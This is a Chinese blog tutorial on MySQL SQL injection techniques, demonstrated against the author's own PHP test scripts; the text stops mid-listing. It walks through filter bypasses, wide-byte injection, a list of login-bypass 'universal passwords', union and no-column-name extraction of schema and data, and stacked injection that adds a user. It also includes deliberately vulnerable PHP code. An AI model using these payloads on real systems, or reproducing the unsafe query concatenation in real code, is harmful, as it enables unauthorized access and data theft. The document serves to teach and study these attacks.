前言

推荐

如果你不太懂得SQL注入是什么,为了更好地理解此文章,推荐拥有以下知识

  • 了解SQL语句是什么(本文主要讲MYSQL)
  • SQL数据库操作的常用、基本语句(可以参观本博客友链kyrita写的SQL基本操作,本文最后面也有MYSQL简单操作语句可供参考)
  • PHP的一些基本语法(因为本文以php程序演示)

本文内容

本文将会介绍、操作演示以下内容(排序尽量由简单到难,是已完成更新的意思)

  • 宽字节注入(在 ”一些绕过过滤的姿势“ 里)(
  • 万能密码 (
  • 联合查询注入 + 无列名注入(
  • 堆叠注入(
  • 二次注入(
  • 报错注入
  • 头部注入
  • 双查询注入(双注入)
  • 移位溢注
  • 盲注(布尔盲注-基于条件、延时盲注-根据时间响应)
  • SQLmap的基本使用(有缘再写)

熟练进行SQL注入常常需要将各种方法串在一起,并不是说掌握其中一种就行

注入前准备

寻找输入口

  • 登陆界面、留言板、搜索框等

判断是否存在注入点

  • 传入的SQL查询语句的参数是否可控

例如一个登录框,当它的后端语句直接拼接用户输入的数据(即完全信任用户输入),

用户就可能可以构造SQL语句直接绕过登录,甚至窃取数据库的数据

获取注入点的信息

例如:

  • 是否存在回显【1】

  • 可控参数的类型【2】

  • 是否过滤调了某些语句【3】

  • 其它

【1】如果存在回显,则可以根据回显调整注入姿势,否则不显示报错信息,需要通过盲注的方法来进行注入

【2】关系到注入语句的构造,类型为数字型还是字符型,是否需要闭合引号

【3】如果存在某些字符的过滤,则需要想办法进行绕过,如大小写、利用某些SQL数据库支持的函数

【4】如果数据库用户的的权限被限制(如只有查询某个数据库、某个表的权限),则SQL注入可能不太能起作用

1
2
3
4
5
6
7
注释符号
多行注释符(块注释符)/**/和/*! */,/**/可以用于代替空格
单行注释#
MySQL:单行注释-- (-后面有个空格),Oracle 单行注释--(--后面无空格)
单行注释-- -
字符串截断;%00
常常使用--+进行注入,因为+可以代替空格,有时候还可以用--'

通过这些信息来确定应该使用哪一种方法

一些绕过过滤的姿势

Type 1

1
2
3
4
5
6
7
8
$id = $_GET['id'];
$sql_array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value){
if (substr_count($id, $value) > 0){
die('包含敏感关键字!'.$value);//或exit('包含敏感关键字!'.$value),起退出作用
}
}
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

过滤掉了以下内容

1
2
3
4
table、union、and、or、load_file
、create、delete、select、update
、sleep、alter、drop、truncate
、from、max、min、order、limit

如果我们想使用其中的一个,如select,就会输出“包含敏感关键字!”

像这种纯粹匹配单词的,可以采用大写来绕过

1
SELECT

Type 1-Plus

1
2
3
4
5
6
7
8
9
$id = $_GET['id'];
$sql_array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value){
if (substr_count($id, $value) > 0){
die('包含敏感关键字!'.$value);//或exit('包含敏感关键字!'.$value),起退出作用
}
}
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以利用其中的strip_tags函数

strip_tags函数会将字符串中的标签去除,如

1
<b>123</b>

经过strip_tags函数处理后会变成

1
123

如果我们的select变成sel<>ect,那么最后的查询语句就是

1
SELECT * FROM temp WHERE id=select LIMIT 1

因为<>被strip_tags函数去掉了

Type 2(注释符在注入时的作用)

一个PHP连接MYSQL数据库的查询程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$servername = "localhost";
$username = "root";
$password = "xxx";

$sqli = $_GET['sqli'];
// 创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}

mysqli_select_db($conn, 'test');
$sql = "$sqli xxx";

$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
var_dump($row);
echo "<br />";
}
} else {
echo "0 结果";
}
$conn->close();//关闭连接

由上面代码我们可以知道程序在“test”数据库中查询

我们需要关注下面三句程序

1、sqli变量存储get获取的sqli参数

2、sql变量存储sqli变量加上空格再加上字符串xxx

3、根据sql变量所存储的语句进行查询,查询结果存储在result变量

1
2
3
$sqli = $_GET['sqli'];
$sql = "$sqli xxx";
$result = $conn->query($sql);

可知xxx是无用的,这样子查询一定会报错

因为现在只是讲解绕过一些东西,所以我直接把表名说出来,叫做test_table,是我创建的一个测试表

如下图所示,显示0结果

1
?sqli=select * from test_table

360截图18430704556194

如果在后面加上–+,结果出来了

1
?sqli=select * from test_table--+

360截图17680729285864

因为xxx前有空格,所以像下面这样写也是可行的

1
?sqli=select * from test_table--

当然这样写也可以,/**/的作用前面已有解释

1
?sqli=select * from test_table--/**/

如下图测试可用

360截图187201198694105

不知道为什么get提交就不起作用

360截图18430703308260

#号也是不起作用

360截图16570131278265

可能需要encodeurl来提交,将#编码为%23

1
?sqli=select * from test_table%23

结果确实如此

360截图17920901082832

这就是注释符号在SQL注入中的用法的简单说明

宽字节注入(当单引号被替换为斜杠加单引号)

能进行宽字节注入前提是数据库设置“set character_set_client = gbk”,即使用gbk编码,

网站为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义

当然这种情况可以考虑在引号前加个斜杠,将斜杠转义掉

宽字节注入主要用于应对这种情况,如下面

当用户提交

1
?id=1' and 1=1 --+

1后面的单引号会被加上斜杠

服务端上的查询语句如下,不能正常查询

1
“select id,title from news where  id ='1\' and 1=1 -- '"

360截图1672032984113131

如果能把斜杠”吃掉“,或者使斜杠失效,就能正常注入了

1
“select id,title from news where  id ='1' and 1=1 -- '"

要了解宽字节注入的原理,首先要说明:

1、宽字节与窄字节:

  • 某字符的大小为一个字节–》窄字节,如英文字母
  • 字符的大小为两个字节–》宽字节,如汉字

2、常见宽字节编码:GB2312,GBK

所以,宽字节注入就是利用字符的大小为两个字节的特性,将斜杠(斜杠是窄字节)和一个其它窄字节编码成一个宽字节字符,这样斜杠就不会把单引号转义了

PS: 在GBK编码中,使用两个字符形成一个汉字要求前一个字符的anscii大于128

如,利用%a7(%a7是随便找的)

1
https://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 %a7' and 1=1 --+

可以看到斜杠没了

360截图17300320119105137

当单引号被替换成双斜杠加单引号

类似下面这段后端程序,将’替换成了\ \ ‘

1
2
3
function filter($str) {
return str_replace("'", "\\'", $str);
}

可以使用斜杠加单引号进行绕过(\ ‘)

当SQL语句如下

1
select * from user_database where user='用户传入的值'

当**’用户传入的值’**如下

1
admin\' or 1=1#

则最终的查询语句会变成如下

1
select * from user_database where user='admin\\\' or 1=1#'

这样可能看不太清楚,但是只要稍微给它处理一下

如下

1
select * from user_database where user='admin\\ \' or 1=1#'

了解过linux命令多行输入的人应该知道这是什么意思

如ubuntu使用apt安装多个软件,可以分行输入

1
2
3
sudo apt install 软件1 软件2 软件3 \
软件4 软件5 软件6 \
软件7 软件8

360截图17001014849087

所以sql语句会变成这样,单引号成功闭合

1
2
select * from user_database where user='admin\\ \
>' or 1=1#'

例图如下

360截图18430710405777

其它

group_concat()、concat_ws()以及limit 的第一次说明在本文的“类型1(联合查询)-Plus”部分

对于不许访问information_schema的,可以参照本文的“类型1(联合查询)-Plus”的“如果information_schema被过滤”部分的说明

对于无法获取列名的,可以参照本文的 “类型2(联合查询 + 无列名)”部分的说明

利用十六进制代替字符,可以参照本文的“类型1(联合查询)-Plus”的“如果不允许输入名称”部分的说明

😘

注入姿势

万能密码

类型1(简单演示版)

如果后端用于查询验证用户登录的SQL语句类似下面(为了简化,下面程序为PHP伪代码(SQL数据库可不是只有PHP能用哦))

1
2
3
4
5
6
7
8
9
10
11
$username = $POST_["user"];
$password = $POST_["password"];
$SQL = "SELECT * FROM Table_submit WHERE User= '" . $username . "' AND Password= '" . $password . "'";
$a = 连接数据库(配置信息);
$result = $a->查询($SQL);
if ($result == true) {
echo "登陆成功";
} else {
die("登陆失败");//登陆失败程序就此退出
}
下一步();

或(上面下面两段代码功能一致)

1
2
3
4
5
6
7
8
9
10
11
$username = $POST_["user"];
$password = $POST_["password"];
$SQL = "SELECT * FROM Table_submit WHERE User= '$username' AND Password= '$password'";
$a = 连接数据库(配置信息);
$result = $a->查询($SQL);
if ($result == true) {
echo "登陆成功";
} else {
die("登陆失败");//登陆失败程序就此退出
}
下一步();

当用户输入的内容为以下

1
user=1&password=aaa'or 1=1 or '1' = '1

即用户名填1,密码填aaa’or 1=1 or ‘1(密码填aaa’or 1=1 or ‘1’ = ‘1不是唯一的写法,请发挥你的脑洞)

POST方法提交之后,服务端的语句如下

1
SELECT * FROM Table_submit WHERE User= '1' AND Password= 'aaa'or 1=1 or '1' = '1'

可以这样看

1
2
3
User= '1' AND Password= 'aaa'
or 1=1
or '1' = '1'

由于用户名和密码都是随便输的,不正确,那么User= ‘1’ 结果为false,Password= ‘aaa’结果也为false, and之后就是false

or 1=1 为true
or ‘1’ = ‘1’也为true

也就是false or true or true,根据或的逻辑运算0+1+1=1,也就是true

程序只根据返回值为true和false来判断是否成功登录和登陆失败,但此时返回值为true,所以就绕过了登录


类型2(简单MD5加密版)

这个MD5加密版的意思是什么呢?请看以下文字

实际上现在大多都是对密码进行加盐后再hash加密,或者BCrypt加盐加密,所以此时需要将注入内容放在user变量

hash加密是为了防止密码明文存储,加盐是为了减少被拖库后密码破解的风险

(当然现有的大多数框架对用户传入的数据都进行处理,防止注入,这里只是拿来作为一种类型进行示范,只是起到研究作用)

如果后端用于查询验证用户登录的SQL语句类似下面

1
2
3
4
5
6
7
8
9
10
11
$username = $POST_["user"];
$password = $POST_["password"];
$SQL = "SELECT * FROM Table_submit WHERE User= '" . $username . "' AND Password= '" . md5($password) . "'";
$a = 连接数据库(配置信息);
$result = $a->查询($SQL);
if ($result == true) {
echo "登陆成功";
} else {
die("登陆失败");//登陆失败程序就此退出
}
下一步();

或者

1
2
3
4
5
6
7
8
9
10
11
12
$username = $POST_["user"];
$password = $POST_["password"];
$passwd = md5($password);//对字符串求MD5
$SQL = "SELECT * FROM Table_submit WHERE User= '$username' AND Password= '$passwd'";
$a = 连接数据库(配置信息);
$result = $a->查询($SQL);
if ($result == true) {
echo "登陆成功";
} else {
die("登陆失败");//登陆失败程序就此退出
}
下一步();

当用户输入的内容为以下

1
user=1' or 1=1 or '1'='1&password=aaa

POST方法提交之后,服务端的语句如下(aaa求md5之后为47bce5c74f589f4867dbd57e9ca9f808)

1
SELECT * FROM Table_submit WHERE User= '1' or 1=1 or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808'

可以分隔成这样看

1
2
3
User= '1' 
or 1=1
or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808'

由于用户名和密码都是随便输的,不正确,那么User= ‘1’ 结果为false,Password= ‘47bce5c74f589f4867dbd57e9ca9f808’结果也为false,但是1=1为true,’1’ = ‘1’也为true

即false or true or true and false

即false or true or false,根据或逻辑,0+1+0=1,返回值为true

那么延伸一下,是不是说md5(或者其他)加密后就可以高枕无忧了呢?非也

例如密码使用md5加密

有这样一个神奇的字符串(与ffifdyop类似的还有129581926211651571912466741651878684928)

1
ffifdyop

md5加密后

1
276f722736c95d99e921722cf9ed621c

如果再编码一下呢?360截图184307029213883

会变成

1
'or'6<乱码>

意味着结果不为假,足以绕过登录

最后附上一些万能密码,可以研究一下(思考为什么要这样构造)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*

相信这时候你已经对SQL注入有了一些认识,以及懂得了闭合引号的必要性

联合查询注入 + 无列名注入

页面必须显示位才能使用联合查询注入(在 ”类型1(联合查询)-Plus“ 有解释)

所谓联合查询,即是使用union语句,*在查询某个参数时同时查询另外一个参数***

union常用于合并两个或多个 select 语句的结果

例如

1、

单独的select co from test_table1结果如下

360截图1823111897144108

单独的select * from test_table结果如下

360截图1700101680115102

而使用union语句

1
select co from test_table1 union select * from test_table;

360截图172905057310894

如果允许重复的值,请使用 UNION ALL

2、

360截图18141216448764

类型1(联合查询)

预先准备了个表(以下面语句为准)

1
create table a_table (id INT NOT NULL, val VARCHAR(100) DEFAULT NULL, val1 VARCHAR(100) DEFAULT NULL, val2 VARCHAR(100) DEFAULT NULL);

360截图187201187211567

插入如下内容

360截图1814122393100119

现在内容如下

360截图16820126264410

现在可以通过id来查询值

1
select * from a_table where id=0;

360截图168004116810393

PS:有的id是字符型的,比如id为1,查询的时候就为’$id’,注入时要注意闭合引号(而我这里是int型,注入不需要闭合引号)

像下面这样,加了引号

360截图176610157071106


判断列数

order by语句语句一般用于排序

可以使用order by语句判断列数,如下图

1
select * from a_table where id=1 order by 1

可以了解有四列

360截图1872012474127126

为啥要判断列数?

涉及到“显示位”

假设服务器上的查询语句如下(只是举例!)

1
select id, val, val1, val2 from a_table where id=0;

可以看到结果如下

360截图17001015636591

如果我们知道列数,就可以联合查询了

1
select id, val, val1, val2 from a_table where id=0 union select 1,2,3,4;

360截图17040516108102120

但是我们看不到源码的话是不知道查询语句长什么样的,列数不对是会报错的

这就是需要判断列数的原因

1
select id, val, val1, val2 from a_table where id=0 union select 1;

360截图17661016152715

注入

假设服务端源码如下(假设!!!

为了方便讲解,我把完整sql语句显示出来了(程序中的echo “SQL input: $sql“;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$servername = "localhost";
$username = "root";
$password = "不想告诉你";

$sqli = $_GET['sqli'];//用户输入参数为sqli,使用GET方法

//创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
mysqli_select_db( $conn, 'test');//选择的数据库叫做”test“

$sql = "select id, val, val1, val2 from a_table where id=$sqli";

echo "<b>Your input: $sqli</b><br />";
echo "<b>SQL input: $sql</b><br />";

$result = $conn->query($sql);
echo "<b>Result count: " . $result->num_rows . "</b><br />";
if ($result->num_rows > 0) {
//输出数据
while($row = $result->fetch_assoc()) {
//单靠网页显示的数据无法判断有几列,所以需要order by判断
var_dump($row["val"]);
var_dump($row["val1"]);
var_dump($row["val2"]);
}
} else {
echo "0 结果";
}
$conn->close();//关闭连接
?>

PS:

1
2
3
4
// 单靠网页显示的参数无法判断有几列,所以需要order by判断
var_dump($row["val"]);
var_dump($row["val1"]);
var_dump($row["val2"]);

因为上面已经说过列数判断了,这里不再赘述

union查询测试如下

1
?sqli=0 union select 1,2,3,4

360截图1814121787110132

既然union查询成功了,为什么不尝试把1,2,3,4换一下?

比如说查个数据库的版本

1
?sqli=0 union select 1,2,3,version()

360截图17720228619698

希望看到这里你应该已经对联合查询注入有了一些了解,关于获取数据库名、表名及其它等,接下来会讲


类型1(联合查询)-Plus

上面说了联合查询的基本操作,那么类型1(联合查询)Plus版本将补充解释一些细节部分

假设程序如下(删去了**var_dump($row[“val1”]);**)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$servername = "localhost";
$username = "root";
$password = "不想告诉你";

$sqli = $_GET['sqli'];//用户输入参数为sqli,使用GET方法

//创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
mysqli_select_db( $conn, 'test');//选择的数据库叫做”test“

$sql = "select id, val, val1, val2 from a_table where id=$sqli";

echo "<b>Your input: $sqli</b><br />";
echo "<b>SQL input: $sql</b><br />";

$result = $conn->query($sql);
echo "<b>Result count: " . $result->num_rows . "</b><br />";
if ($result->num_rows > 0) {
//输出数据
while($row = $result->fetch_assoc()) {
//单靠网页显示的数据无法判断有几列,所以需要order by判断
var_dump($row["val"]);
var_dump($row["val2"]);
}
} else {
echo "0 结果";
}
$conn->close();//关闭连接
?>

删去一条代码的目的是为了解释union后面的1,2,3,4需要看哪个可以被显示

如下,依然是上面类型1的参数

1
?sqli=0 union select 1,2,3,4

这样就得知只有2、4可以操作

360截图16261006515441

只需要把需要获取的东西放在2或4就行

1
?sqli=0 union select 1,version(),3,4
1
?sqli=0 union select 1,2,3,version()

360截图18430710358657

如下不行

1
?sqli=0 union select version(),2,3,4

360截图17731205108124108

获取所有数据库

  • 在information_schema.tables中获取table_schema
1
?sqli=0 union select 1,2,3,table_schema from information_schema.tables

360截图16720404508465

  • 重要)如果输出长度被限制,不能全部显示,那么我们可以先获取所有数据库的数量
1
?sqli=0 union select 1,2,3,count(distinct table_schema) from information_schema.tables

如下图所示,总共5个数据库

360截图175711157279101

然后使用“limit”语句

因为不想图片太多,下面只尝试2、4、5,可以说明所有数据库名都能被获取

1
?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 2,1

360截图17321127084452

1
?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 4,1

360截图17560209606344

1
?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 5,1

360截图1798010492127117

获取数据库中所有的表

首先在上面显示的所有数据库中选一个你感兴趣的数据库,例如我选了test

然后只需要稍微改变一下语句,

意思是从information_schema.tables where table_schema=”test”中找table_name

1
?sqli=0 union select 1,2,3,table_name from information_schema.tables where table_schema="test"

360截图16790519142531

重要)因为可能有限制,不允许多个结果显示,可能实际查询的结果会像下面这样

后面的都不显示了

360截图17090917385957

此时用个数据库自带函数group_concat()即可,如下

1
?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema="test"

group_concat() 的作用是将多行合并成一行

360截图17571116103150156

如果不允许输入名称

像上面那句,如果不允许查询数据库”test“(可能过滤了引号)

1
?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema="test"

可以把”test“变成16进制,即0x74657374,在线转换

1
?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=0x74657374

可行

360截图17001013110133104

如果information_schema被过滤

可以使用mysql.innodb_table_stats直接获取所有表

如下

1
?sqli=0 union select 1,2,3,(select group_concat(table_name) from mysql.innodb_table_stats)

360截图17001019324252

还有

1
2
3
schema_table_statistics_with_buffer

x$schema_table_statistics_with_buffe

如果ID字段可以自增,那么还可以查下面这个

1
sys.schema_auto_increment_columns

获取某个表的信息

可以直接获取所有表的所有字段(如果想要使用group_concat(),用法如上,这里不再赘述)

1
?sqli=0 union select 1,2,3,column_name from information_schema.columns where table_schema="test"

可以看到字段有id,val,val1,val2,co,co,do,zzz

360截图18141224107137113

然后再找个感兴趣的表,这里就选a_table吧

只需稍稍加一点东西: and table_name=”a_table”

即可获取该表的所有字段

1
?sqli=0 union select 1,2,3,column_name from information_schema.columns where table_schema="test" and table_name="a_table"

360截图16820123533538

获取了字段之后就可以获取数据了

如下,获取id字段的所有数据

1
?sqli=0 union select 1,2,3,id from test.a_table

当然如果要查的表和当前表在同一数据库,可以不加库名直接查询

1
?sqli=0 union select 1,2,3,id from a_table

360截图17100810589259

为了好看一点,可以使用group_concat()

1
?sqli=0 union select 1,2,3,group_concat(id) from test.a_table

360截图18430701327143

id字段改成其它字段,如val,val1等,这样下去就能注出所有数据

1
?sqli=0 union select 1,2,3,group_concat(val) from test.a_table

360截图17980107968489

如果想一次性全部弄出来,可以使用concat_ws(),

数据库中的字符串拼接函数,concat_ws()是带分隔的,还有concat()是只连接接不带分隔的

concat_ws()的第一个参数为分隔符,这里就设置为“-”

如下,同时注出了id字段和val字段的数据

1
?sqli=0 union select 1,2,3,concat_ws("-", group_concat(id), group_concat(val)) from test.a_table

360截图1672040684100117

类型2(联合查询 + 无列名)

所谓的无列名就是在无法得知字段名称的情况下获取表内的数据

Mysql子查询

假设服务端程序如下(还是联合查询那个程序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$servername = "localhost";
$username = "root";
$password = "不告诉你";

$sqli = $_GET['sqli'];
// 创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
mysqli_select_db( $conn, 'test');

$sql = "select id, val, val1, val2 from a_table where id=$sqli";

echo "<b>Your input: $sqli</b><br />";
echo "<b>SQL input: $sql</b><br />";

$result = $conn->query($sql);
echo "<b>Result count: " . $result->num_rows . "</b><br />";
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
//var_dump($row["id"]);
var_dump($row["val"]);
//var_dump($row["val1"]);
var_dump($row["val2"]);
}
} else {
echo "0 结果";
}
$conn->close();//关闭连接
?>

假设我们已经知道了表名(表名的获取方法在上面已经说过),且已知字段数(上面已讲过使用order by判断)

可以利用Mysql子查询的方法,需要注意,子查询需要加一个别名

子查询的意思就是将某个语句的结果起别名,以此结果作为数据(简单来说就是可以根据另一个表的查询结果来执行当前查询)

下面的语句进行了两次联合查询

1
?sqli=0 union select 1,2,3,group_concat(x.3) from (select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table) as x

360截图182202115951100

这么长一串可能不好理解,请容许我拆分一下

首先是下面这一句

1
(select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d

重要)由前面实验已经知道,select 1,2,3,4是什么意思

即当场建个表,值为1,2,3,4

360截图18200429101140142

这样子写是使用子查询,子查询必须加上别名(即abcd,当然abcd可以改成其它)

这里abcd没有用上,纯粹是语法要求(后面有描述为什么要写成子查询的形式)

1
(select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d

union select * from a_table先将所有字段及内容从a_table这个表选出来

下面这句的意思就是在select 1,2,3,4中插入union select * from a_table的结果(1,2,3,4视a_table字段数量定,这里是4个字段)

由于前面用select * from,所以后面只能写成子查询的形式,否则报错

1
select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table

(这也是为什么最后显示多出来了1或2或3或4,左边箭头所指)

360截图176610208111775

大概是下面这个意思

1
select * from (select 1) as a, (select 2) as b;

360截图182509048067105

然后下面这句,就是把整句的执行结果起别名x(x当然可以换作其它字符)

1
(select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table) as x

在x中查x.1,即x的第一列,也就是1 加上 a_table的第一列(a_table第一列字段为id,值为0,1,2,3)

1
union select 1,2,3,group_concat(x.1) from x

没错,还是那张图(这张图用了三次。。。)

360截图176610208111775

为了更好说明,我把1改成了11再做了一次试验,这样应该更好理解一些

360截图184307108186102

最后提一下,不用as也可以,但是别名必须存在

1
?sqli=0 union select 1,2,3,group_concat(x.3) from (select * from (select 1) a,(select 2) b,(select 3) c,(select 4) d union select * from a_table) x

360截图17030621515397

Join语句报错

准确来说是利用MySQL的INNER JOIN语句

需要对程序做一些改动(为了显示错误)

因为用mysqli模块只显示错误号,不显示具体mysql错误,可能和我的PHP版本有关

360截图1757111696147134

所以这里使用了PDO模块来连接数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$sqli = $_GET['sqli'];

$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = "root";
$password = "请输入密码";

/*
使用 try/catch 围绕构造函数仍然有效,即使设置了 ERRMODE 为 WARNING,
因为如果连接失败,PDO::__construct 将总是抛出一个 PDOException 异常。
*/
try {
$dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
exit;
}

$sql = "select id, val, val1, val2 from a_table where id=$sqli";

echo "<b>Your input: $sqli</b><br />";
echo "<b>SQL input: $sql</b><br />";

$result = $dbh->query($sql);

if (!$result) {
die();
}

echo "<b>Result count: " . $result->columnCount() . "</b><br />";
if ($result->columnCount() > 0) {
// 输出数据
while($row = $result->fetch()) {
//var_dump($row["id"]);
var_dump($row["val"]);
//var_dump($row["val1"]);
var_dump($row["val2"]);
}
} else {
echo "0 result";
}
?>

假设我们已经知道了表名为a_table

构造如下语句

1
union select * from (select * from a_table as a join a_table as b) as c

MySQL的**INNER JOIN(也可以省略 INNER 使用 JOIN,效果一样)**来连接以上两张表

来读取一个表中的字段与另一个表的字段相联结,最后输出所有值

如下

先看看表中有什么

360截图1872012496100102

join

1
select * from test_table join test_table1;

360截图1792090593144140

本次注入关键语句为下面这句

1
2
3
//由于这里别名a、b对应的都是同一个表,
//但是使⽤别名时,表中不能出现同的字段名,所以会报错
select * from a_table as a join a_table as b

输入试试

1
?sqli=0 union select * from (select * from a_table as a join a_table as b) as c

可以看到第一个字段出现了

360截图18430708346852

加上using (id)即可获取下一个字段

1
?sqli=0 union select * from (select * from a_table as a join a_table as b using (id)) as c

360截图187705268413188

依次可获取所有字段-》id、val、val1、val2

360截图17290508081057

这就是联合注入+无列名注入的小知识了


堆叠注入

何为堆叠注入?简单来说就是使用;来分隔两个语句,相比union查询,限制可能更少

举例

且看如下例子

1
select 1,2,3,4;select 3,4,5;

明显看到select 1,2,3,4和select 3,4,5同时完成了执行

360截图17001019119141155

再如

1
select id from a_table where id=0;select * from a_table;

360截图16290610334077

能做什么

假设服务端程序上的查询语句如下

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

如果没有过滤,非常容易即可进行注入

1
?id=1’) --+

此时的SQL查询语句如下

1
$sql="SELECT * FROM users WHERE id=('1’) --+') LIMIT 0,1";

1
$sql="SELECT * FROM users WHERE id=('1’)";

如果已经知道表名为users,知道字段如下

1
id  | username | password

如果此时要求你非法添加一位新用户

使用堆叠注入的方法非常不错 (在字段插入内容可以参考本文“写在最后”部分的“在字段插入值”)

插入的id为100,username为new_user,password为passwd

1
?id=1’); insert into users (id,username,password) values (‘100’,’new_user’,’passwd’)–-+

在服务端的语句如下

1
$sql="SELECT * FROM users WHERE id=('1’); insert into users (id,username,password) values (‘100’,’new_user’,’passwd’)";

1
2
SELECT * FROM users WHERE id=('1’); 
insert into users (id,username,password) values (‘100’,’new_user’,’passwd’)

这样就插入了一位用户

堆叠注入还能干很多事,如删数据、改数据(改密码)等等


二次注入

所谓二次注入,可以理解为第一次先插入恶意语句(构造特殊语句),

使得本来不具有特殊权限(如修改其它用户密码)的用户在第二次(或以上)的时候利用先前插入恶意语句完成需要特殊权限的操作

例如,普通用户通过构造一个特殊的用户名,修改了admin用户(或者其它用户)的密码

要成功利用二次注入,要求服务器对用户提交的数据没有采取过多的过滤措施

建个表

要模拟这种攻击,首先在数据库先建一个表,这里建了个表名为user_table的表

下面这个表的id字段设置为了可从0自增,表中的其它字段为username和password

1
create table user_table (id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(100) NOT NULL, password VARCHAR(100)) AUTO_INCREMENT = 0;

360截图18141222487650

然后加个账户,名字就叫admin吧,密码随便填

1
insert into user_table values (null, "admin", "123456");

360截图16831102688996

用户注册

然后再构建网页,这里使用PHP+Html,有些简陋😄

如果想上手试试可以将下面程序保存为new_user.php,

程序的作用是添加用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$servername = "localhost";
$username = "root";
$password = "2333啊哈哈哈";


// 创建连接
$conn = new mysqli($servername, $username, $password);
//连接查询
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
mysqli_select_db( $conn, 'test');

if (isset($_POST['new_user']) && isset($_POST['password'])) {
//确定用户名是否存在
$user_name = $_POST['new_user'];
$result = $conn->query("select username from user_table where username=\"$user_name\"");
if ($result->num_rows > 0) {
die("User already in database.");
$conn->close();//关闭连接
}

//插入用户
$sql = "insert into user_table values (null, \"" . $_POST['new_user'] . "\", '" . $_POST['password'] . "');";

echo "<b>Your input: username is " . $_POST['new_user'] . " password is " . $_POST['password'] . "<br />";
echo "<b>SQL input: $sql</b><br />";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
echo "<b>Result count: " . $result->num_rows . "</b><br />";
var_dump($result);
} else {
echo "0 result";
}
} else {
?>
<html>
<head>
<meta charset="utf-8">
<title>创建用户</title>
</head>
<body>

<form action="new_user.php" method="post">
名字: <input type="text" name="new_user">
密码: <input type="text" name="password">
<input type="submit" value="提交">
</form>

</body>
</html>

<?php
}

$conn->close();//关闭连接
?>

做了简单处理,如果用户名和数据库中记录的用户名同名则不允许创建

360截图178606029387101

360截图16821212103315

随便创建个用户试试

360截图18141220489191

点击提交后

360截图17340909687493

看看数据库,发现用户aaa已被创建(id变成4是因为我删掉了两行数据)

360截图173211297269105

用户设置

下一步,做个用户设置界面,同样是简陋的PHP+Html

假设用户登录了后台,系统已经确定是哪个用户(这里采用id来确定)

想上手的话就保存下面程序为set_user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
